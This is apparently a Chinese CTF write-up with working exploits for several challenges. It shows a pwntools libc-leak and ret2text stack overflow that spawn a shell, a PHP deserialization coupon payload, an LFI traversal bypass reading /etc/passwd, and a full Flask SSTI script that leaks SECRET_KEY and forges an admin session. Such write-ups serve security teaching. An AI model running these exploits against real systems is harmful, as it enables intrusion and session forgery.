def leak_show(io):
    set_low(io, 0x1D)
    suffix = batch_brute(io, b"", [0x55, 0x56, 0x57, 0x7F] + list(range(1, 256)))
    log.info("PIE suffix %s", suffix.hex())

    for pos in [4, 3, 2]:
        set_low(io, 0x18 + pos)
        suffix = batch_brute(io, suffix, range(256))
        log.info("PIE suffix %s", suffix.hex())

    set_low(io, 0x19)
    suffix = batch_brute(io, suffix, list(range(0x09, 0x100, 0x10)) + list(range(256)))
    log.info("PIE suffix %s", suffix.hex())

    set_low(io, 0x18)
    suffix = batch_brute(io, suffix, [0xD0] + list(range(256)))
    ptr = u64(suffix.ljust(8, b"\0"))
    if (ptr & 0xFFF) != SHOW_OFF:
        raise RuntimeError("bad show pointer: %#x" % ptr)
    return ptr

def leak_ptr(io, addr, label):
    set_addr(io, addr + 5)
    suffix = batch_brute(io, b"", [0x7F] + list(range(1, 256)))
    log.info("%s suffix %s", label, suffix.hex())

    for pos in [4, 3, 2]:
        set_addr(io, addr + pos)
        suffix = batch_brute(io, suffix, range(256))
        log.info("%s suffix %s", label, suffix.hex())

    set_addr(io, addr + 1)
    suffix = batch_brute(io, suffix, list(range(0x08, 0x100, 0x10)) + list(range(256)))
    log.info("%s suffix %s", label, suffix.hex())

    set_addr(io, addr)
    suffix = batch_brute(io, suffix, [0xE0] + list(range(256)))
    return u64(suffix.ljust(8, b"\0"))

def main():
    io = start()
    setup(io)

    show = leak_show(io)
    pie = show - SHOW_OFF
    log.success("show=%#x pie=%#x", show, pie)

    stdin_ptr = leak_ptr(io, pie + STDIN_OFF, "stdin")
    libc = stdin_ptr - LIBC_STDIN
    log.success("stdin=%#x libc=%#x", stdin_ptr, libc)

    system = libc + LIBC_SYSTEM
    binsh = libc + LIBC_BINSH
    edit(io, 1, p64(binsh) + p64(system) + p64(0x18))
    login(io, 0, b"/bin/sh", recv=False)

    sleep(0.3)
    # io.sendline(
    #     b"for f in /flag flag /flag.txt flag.txt; do "
    #     b"echo TRY:$f; while IFS= read -r line; do echo $line; done < $f; "
    #     b"done"
    # )
    io.interactive()

if __name__ == "__main__":
    main()
image

image

PWN-NoteService

NX 开启,不能直接执行栈上 shellcode,但程序本身存在后门函数,因此可以通过栈溢出覆盖返回地址,跳转到后门函数,也就是 ret2text。

查看保护:

checksec vuln

结果:

image

image

可以看到没有 Canary,PIE 未开启,函数地址固定,适合 ret2text。

查看后门函数:

readelf -s vuln | grep secret

得到后门函数地址:

image

image
secret_note = 0x401196

分析漏洞点:

程序会提示:

=== Note Service ===
Leave your note:

输入笔记内容时存在栈溢出,缓冲区大小为 0x40,后面还有 saved rbp 8 字节。

所以返回地址偏移为:

0x40 + 0x8 = 72

利用思路:

填充 72 字节垃圾数据
覆盖返回地址为 secret_note
执行程序自带后门函数
获得 shell
读取 flag

exp.py:

from pwn import *
import time

context(os='linux', arch='amd64', log_level='debug')

p = remote('120.27.146.76', 24028)

ret = 0x40101a
secret_note = 0x401196

payload = b'A' * 72
payload += p64(ret)
payload += p64(secret_note)

p.sendafter(b'Leave your note:\n', payload)

time.sleep(0.5)

p.sendline(b'cat flag')

p.interactive()

其中:

ret = 0x40101a

用于进行栈对齐,避免 64 位程序调用 system 时因栈未对齐导致崩溃。

最终成功执行后门函数并读取 flag。

image

image
image

image

总结:

本题是典型 ret2text。由于 NX 开启,不能执行栈上 shellcode;但 PIE 未开启,后门函数地址固定,因此只需要通过栈溢出覆盖返回地址到程序自带后门函数即可。

WEB

WEB-Snake_Game

观察页面源码可以发现,游戏逻辑完全写在前端 JavaScript 中,关键变量和函数如下:

let score = 0;

function checkWin(s) {
    let formData = new FormData();
    formData.append('score', s);
    fetch('index.php', { method: 'POST', body: formData })
    .then(r => r.json())
    .then(data => {
        let msgEl = document.getElementById('msg');
        if(data.status === 'success') {
            msgEl.style.color = '#2ecc71';
            msgEl.innerText = data.flag;
        } else {
            msgEl.style.color = '#e74c3c';
            msgEl.innerText = "Game Over! " + data.message;
        }
    });
}

前端最终只会把当前分数 score 作为 POST 参数提交到后端 index.php。如果后端没有校验真实游戏过程,而只是判断提交的 score 是否达到 300,就可以直接伪造请求。

POST提交score=300即可拿到flag

image

image

WEB-PHP_Payment

访问首页后可以看到一个数字资产商城,初始余额只有 20 金币,而 至尊 Flag 的价格是 99,999 金币。

image

image

题目给了源码,我们可以分析源码

image

image

关键文件包括:

src/buy.php
src/models.php
src/index.php
src/config.php
src/api/apply_coupon.php
src/api/status.php
src/app.js

1. 购买逻辑

buy.php 中定义了商品价格:

$items = [
    'basic_vip' => 10,
    'premium_vip' => 50,
    'flag' => 99999
];

购买前会检查当前 session 中的余额:

if ($_SESSION['balance'] < $price) {
    die(json_encode(["error" => "Insufficient funds! You only have " . intval($_SESSION['balance']) . " 金币."]));
}

如果购买的是 flag,则输出 flag:

if ($item === 'flag') {
    $flag = "flag{da91f6ee9d5cceef4705fd4f8af9e3f3}";
    if (file_exists('/var/www/flag.php')) {
        include '/var/www/flag.php';
        if (isset($FLAG)) $flag = $FLAG;
    }
    echo json_encode(["success" => true, "message" => "购买 successful! Your Flag is [ " . $flag . " ]", "balance" => $_SESSION['balance']]);
}

注意:源码中的 flag{da91...} 是默认兜底值,线上真实环境还会 include /var/www/flag.php

2. 优惠券逻辑

api/apply_coupon.php 会接收用户提交的 coupon 参数,并进行 Base64 解码:

$couponData = $_POST['coupon'] ?? '';

$decoded = base64_decode($couponData);
if ($decoded === false) {
    die(json_encode(["error" => "Invalid coupon format. Must be base64."]));
}

随后直接对解码结果执行 unserialize()

try {
    $promo = @unserialize($decoded);
    if ($promo === false) {
        die(json_encode(["error" => "Failed to apply coupon."]));
    }
} catch (Exception $e) {
    die(json_encode(["error" => "Coupon parsing error."]));
}

echo json_encode(["success" => true, "message" => "Coupon processed."]);

这里没有限制反序列化类型,也没有使用 allowed_classes,因此可以构造 PHP 对象触发魔术方法。

3. 可利用类

models.php 中定义了 PromoManager

class PromoManager {
    public $promo_credit;
    public $promo_code;

    public function __construct($code, $credit) {
        $this->promo_code = $code;
        $this->promo_credit = $credit;
    }

    function __destruct() {
        if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
            $_SESSION['balance'] += intval($this->promo_credit);
        }
    }
}

apply_coupon.php 已经 include 了 models.php

include '../models.php';

所以只要反序列化出一个 PromoManager 对象,并设置 promo_credit 为足够大的数字,在请求结束对象销毁时就会触发 __destruct(),从而给当前 session 增加余额。

漏洞类型:PHP 反序列化。

触发原因:

  • 用户可控的 coupon 参数经过 Base64 解码后直接进入 unserialize()

  • 后端存在可利用类 PromoManager

  • PromoManager::__destruct() 会将对象属性 promo_credit 加到 $_SESSION['balance']

  • 反序列化对象生命周期结束时自动触发析构函数。

构造恶意优惠券对象

需要构造的 PHP 序列化对象为:

O:12:"PromoManager":2:{s:10:"promo_code";s:3:"VIP";s:12:"promo_credit";i:99999;}

其中:

  • O:12:"PromoManager" 表示对象类型为 PromoManager,类名长度为 12;

  • promo_code 可任意填写;

  • promo_credit 设置为 99999,用于增加余额。

Base64 编码后得到优惠券

TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEwOiJwcm9tb19jb2RlIjtzOjM6IlZJUCI7czoxMjoicHJvbW9fY3JlZGl0IjtpOjk5OTk5O30=

输入优惠卷

image

image
image

image

即可获得金币 购买flag即可

image

image

WEB-Enterprise_OA

image

image

访问题目首页后,可以看到一个简单的 OA 系统门户,页面导航中有三个功能入口:

  • ?module=public_notices.php

  • ?module=about.php

  • ?module=contact.php

当访问不存在的模块时,页面会回显 PHP Warning,并泄露包含点位于 /var/www/html/index.php 第 30 行:

image

image

进一步使用 php://filter 读取 index.php 源码:

image

image

解码拿到源码

<?php

$module = isset($_GET['module']) ? $_GET['module'] : 'public_notices.php';

$module = str_replace('../', '', $module);

?>

...

<?php include($module); ?>

这里的防护只做了一次简单的字符串替换:

str_replace('../', '', $module)

如果直接传入:

../../../../etc/passwd

会被替换成:

etc/passwd

导致读取失败。

但是可以使用经典的 ....// 绕过。因为:

....//

经过一次 str_replace('../', '', ...) 后会变成:

../

所以最终仍然可以形成有效的目录穿越路径。

漏洞原因:

  1. module 参数完全由用户控制。

  2. 后端直接执行 include($module)

  3. 目录穿越过滤只使用单次 str_replace('../', '', ...),可被 ....// 绕过。

  4. 程序没有限制只能包含白名单文件,也没有限制包含路径必须位于指定目录下。

image

image

....//....//....//....//etc/passwd

因此构造 ....// 绕过:

我们最后发现,flag.txt在根目录下

image

image

WEB-TaxSystem_SSTI

这是一个税务申报系统

image

image

同时给到了源码,下载解压

image

image

关键入口有三个:

@app.route('/api/import', methods=['POST'])
def import_data():
    ...
    allowed_fields = ['income', 'deductions', 'state', 'custom_footer', 'year']
@app.route('/preview/<int:profile_id>')
def preview(profile_id):
    ...
    if state == 'AUDIT_PENDING':
        custom_footer = profile['custom_footer']
        ...
        template_html = f"""
        ...
            {custom_footer}
        ...
        """
        return render_template_string(template_html)
@app.route('/admin/vault')
def admin_vault():
    if session.get('role') != 'tax_inspector':
        return ..., 403

漏洞点很明确:

数据库可控字段 -> f-string 拼接 -> render_template_string()

这会让 custom_footer 被当成 Jinja 模板再次解析。

  1. 登录系统。

  2. 把某个 profile 的 state 改成 AUDIT_PENDING

  3. custom_footer 塞入 SSTI payload。

  4. 访问 /preview/<id> 泄露运行时配置。

  5. 取出 SECRET_KEY 后伪造 Flask session。

  6. 带着伪造 session 访问 /admin/vault

源码里初始化了 admin / 123456,直接登录:

cur.execute('INSERT INTO users (username, password, role) VALUES ("admin", "123456", "admin")')

解题脚本

import argparse

import html

import re

import sys

from urllib.parse import urljoin

import requests

from flask import Flask

from flask.sessions import SecureCookieSessionInterface

DEFAULT_BASE_URL = "http://120.27.146.76:12426/"

DEFAULT_USERNAME = "admin"

DEFAULT_PASSWORD = "123456"

PAYLOAD = "{{config.items()}}"

FLAG_RE = re.compile(r"flag\{[^}\r\n<]+}")

SECRET_RES = (

    re.compile(r"'SECRET_KEY'\s*:\s*'([^']+)'"),

    re.compile(r"'SECRET_KEY'\s*,\s*'([^']+)'"),

)

def build_url(base_url: str, path: str) -> str:

    return urljoin(base_url.rstrip("/") + "/", path.lstrip("/"))

def login(client: requests.Session, base_url: str, username: str, password: str, timeout: int) -> None:

    response = client.post(

        build_url(base_url, "/login"),

        data={"username": username, "password": password},

        allow_redirects=False,

        timeout=timeout,

    )

    if response.status_code not in (302, 303):

        raise RuntimeError(f"login failed with status {response.status_code}")

    if "session" not in client.cookies:

        raise RuntimeError("login did not produce a session cookie")

def poison_profile(client: requests.Session, base_url: str, profile_id: int, timeout: int) -> None:

    response = client.post(

        build_url(base_url, "/api/import"),

        json={

            "profile_id": profile_id,

            "data": {

                "state": "AUDIT_PENDING",

                "custom_footer": PAYLOAD,

            },

        },

        timeout=timeout,

    )

    response.raise_for_status()

    data = response.json()

    if data.get("status") != "success":

        raise RuntimeError(f"unexpected import response: {data}")

def leak_secret_key(client: requests.Session, base_url: str, profile_id: int, timeout: int) -> str:

    response = client.get(build_url(base_url, f"/preview/{profile_id}"), timeout=timeout)

    response.raise_for_status()

    decoded = html.unescape(response.text)

    for pattern in SECRET_RES:

        match = pattern.search(decoded)

        if match:

            return match.group(1)

    raise RuntimeError("could not extract SECRET_KEY from preview output")

def forge_session_cookie(secret_key: str, session_data: dict) -> str:

    app = Flask(__name__)

    app.secret_key = secret_key

    serializer = SecureCookieSessionInterface().get_signing_serializer(app)

    if serializer is None:

        raise RuntimeError("could not create Flask signing serializer")

    return serializer.dumps(session_data)

def fetch_flag(base_url: str, forged_cookie: str, timeout: int) -> str:

    response = requests.get(

        build_url(base_url, "/admin/vault"),

        headers={"Cookie": f"session={forged_cookie}"},

        timeout=timeout,

    )

    response.raise_for_status()

    match = FLAG_RE.search(response.text)

    if not match:

        raise RuntimeError("flag not found in admin vault response")

    return match.group(0)

def parse_args() -> argparse.Namespace:

    parser = argparse.ArgumentParser(description="Exploit WEB-TaxSystem_SSTI and print the flag.")

    parser.add_argument("--base-url", default=DEFAULT_BASE_URL, help="target base URL")

    parser.add_argument("--username", default=DEFAULT_USERNAME, help="login username")

    parser.add_argument("--password", default=DEFAULT_PASSWORD, help="login password")

    parser.add_argument("--profile-id", type=int, default=1, help="profile ID to poison")

    parser.add_argument("--timeout", type=int, default=10, help="HTTP timeout in seconds")

    return parser.parse_args()

def main() -> int:

    args = parse_args()

    client = requests.Session()

    try:

        print(f"[+] Logging in as {args.username}")

        login(client, args.base_url, args.username, args.password, args.timeout)

        profile_id = args.profile_id

        print(f"[+] Using profile_id={profile_id}")

        print("[+] Writing SSTI payload into custom_footer")

        poison_profile(client, args.base_url, profile_id, args.timeout)

        print("[+] Leaking Flask SECRET_KEY from preview")

        secret_key = leak_secret_key(client, args.base_url, profile_id, args.timeout)

        print(f"[+] SECRET_KEY={secret_key}")

        print("[+] Forging tax_inspector session")

        forged_cookie = forge_session_cookie(secret_key, {"role": "tax_inspector", "user_id": 1})

        print("[+] Fetching flag from /admin/vault")

        flag = fetch_flag(args.base_url, forged_cookie, args.timeout)

        print(flag)

        return 0

    except Exception as exc:

        print(f"[-] {exc}", file=sys.stderr)

        return 1

if __name__ == "__main__":

    raise SystemExit(main())

核心思路就是两段利用链: SSTI 泄露 SECRET_KEY -> 伪造 Flask session -> 越权读 /admin/vault 对

整体流程

  1. 用源码里的默认账号 admin / 123456 登录,拿到普通用户的 session。

  2. 调 /api/import 把 profile_id=1 的 state 改成 AUDIT_PENDING,并把 custom_footer 写成 {{config.items()}}。

  3. 访问 /preview/1,因为后台会把 custom_footer 丢进 render_template_string(),所以这个 payload 会被当成 Jinja 模板执行,直接 把 Flask 配置打印出来。

  4. 从回显里提取 SECRET_KEY。

  5. 用这个 SECRET_KEY 本地伪造一个新的 Flask session,内容是 {"role": "tax_inspector", "user_id": 1}。

  6. 带着伪造后的 cookie 访问 /admin/vault,拿 flag。 login() requests.Session() 登录,检查返回是不是 302,并确认服务器真的下发了 session cookie。这里不跟随跳转,目的是只关心登录是否 成功。 solve.py poison_profile() 调用 /api/import,把: - state 改成 AUDIT_PENDING - custom_footer 改成 {{config.items()}} 这是触发漏洞的关键。因为源码里只有 AUDIT_PENDING 状态才会进入那段危险的模板渲染逻辑。 solve.py leak_secret_key() 访问 /preview/<profile_id>,拿到页面 HTML。 先 html.unescape(),因为页面里可能有 ' 这种实体编码,然后用正则提取 SECRET_KEY。 这里我写了两个正则, - 一种匹配字典格式:'SECRET_KEY': 'xxx' - 一种匹配 dict_items() 格式:('SECRET_KEY', 'xxx') 因为远程页面实际回显格式和本地假设不完全一样,所以做了兼容。 solve.py forge_session_cookie() 这是第二段利用链的核心。 Flask 默认的 session 是签名 cookie,不是服务端存储。只要你知道 SECRET_KEY,就可以用 Flask 自己的 SecureCookieSessionInterface 生成一个合法 cookie。 脚本这里没有自己手搓签名算法,而是直接复用 Flask 的实现,这样最稳,不容易因为序列化细节出错。 solve.py fetch_flag() 带着伪造好的 session=... 请求 /admin/vault,再用正则找 flag{...}。 为什么这个脚本能成功 因为题目的鉴权本质依赖于: if session.get('role') != 'tax_inspector': return 403 而 session 又是 Flask 的签名 cookie。 所以一旦通过 SSTI 拿到 SECRET_KEY,服务端就无法区分“正常登录得到的 session”和“攻击者本地伪造的 session”。

  • main() 的执行顺序 :

    1. 解析参数

    2. 登录

    3. 选 profile_id

    4. 写入 SSTI payload

    5. 泄露 SECRET_KEY

    6. 伪造 tax_inspector 会话

    7. 访问金库并输出 flag 所以这个脚本本质上不是“直接打管理员接口”,而是先利用 SSTI 把 Flask 的信任根拿出来,再伪造一个被服务端信任的管理员身份。

获得flag

image

image

使用社交账号登录

  • Loading...
  • Loading...
  • Loading...
  • Loading...
  • Loading...